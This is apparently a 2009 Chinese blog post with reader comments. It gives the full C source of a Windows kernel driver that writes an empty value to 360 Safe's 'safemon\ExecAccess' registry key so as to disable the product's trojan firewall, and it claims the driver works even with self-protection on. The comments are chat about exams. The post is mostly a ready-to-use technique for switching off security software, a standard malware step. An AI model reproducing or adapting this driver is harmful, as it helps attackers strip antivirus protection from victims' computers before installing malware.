对注册表的操作的和对文件的操作差不多 ,但是还是有些区别,下面就写一个对注册表操作的例子,这个是修改360安全卫士的注册表选项,使其木马防火墙失效。(在ring3下是不行的,驱动才行得通,即使360开自我保护也无所谓)
首先明确一下流程:
1.定义一个操作对象OBJECT_ATTRIBUTES
2.用InitializeObjectAttributes()函数初始化这个对象
3.用ZwOpenKey()函数来打开注册表打开360的选项
4.用ZwSetValueKey()函数来把360木马防火墙的的键值设置成空
5用ZwClose()函数来关闭打开的注册表
代码如下:
#include <ntddk.h>
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING UnicodeString)
{
UNICODE_STRING path;//定义注册表路径字符串
UNICODE_STRING name;//定义名称字符串
UNICODE_STRING data;//定义数据字符串
OBJECT_ATTRIBUTES oa;//定义操作对象
HANDLE myhandle=NULL;//定义返回句柄
RtlInitUnicodeString(&path,L”\\Registry\\Machine\\SOFTWARE\\360Safe\\safemon”);//初始化注册表路径字符串
RtlInitUnicodeString(&name,L”ExecAccess”);//初始化名称字符串
RtlInitUnicodeString(&data,0);//初始化数据字符串
InitializeObjectAttributes(&oa,&path,OBJ_CASE_INSENSITIVE,NULL,NULL);//初始化操作对象
ZwOpenKey(//打开注册表
&myhandle,//返回句柄
KEY_WRITE,//权限
&oa//操作对象
);
ZwSetValueKey(//设置注册表键值
myhandle,//当前句柄
&name,//键名
0,
REG_SZ,//方式
data.Buffer,//字符串缓冲
data.Length//字符串长度
);
ZwClose(myhandle);//关闭注册表
DriverObject->DriverUnload=Unload;
return STATUS_SUCCESS;
}
编译后加载驱动就可以关闭360的木马防火墙了~!
驱动驱动我爱你~~
零度兄,链接已更新完毕~
四级迫在眉睫!fighting啊!!!
[回复]
零度x 回复:
六月 6th, 2009 at 17:51
四级我是放弃了,上次考了400多分,知足了,英语我从来都不学的,兄弟加油~!
[回复]
你自暴自弃了- -..
那我自己爆发好了!!!
[回复]
零度x 回复:
六月 7th, 2009 at 22:16
呵呵,期待着你的好消息~!
[回复]
晕啊,战场已经到了系统底层了。
[回复]
零度x 回复:
七月 16th, 2009 at 13:36
底层的战争很早就开始了。。。
[回复]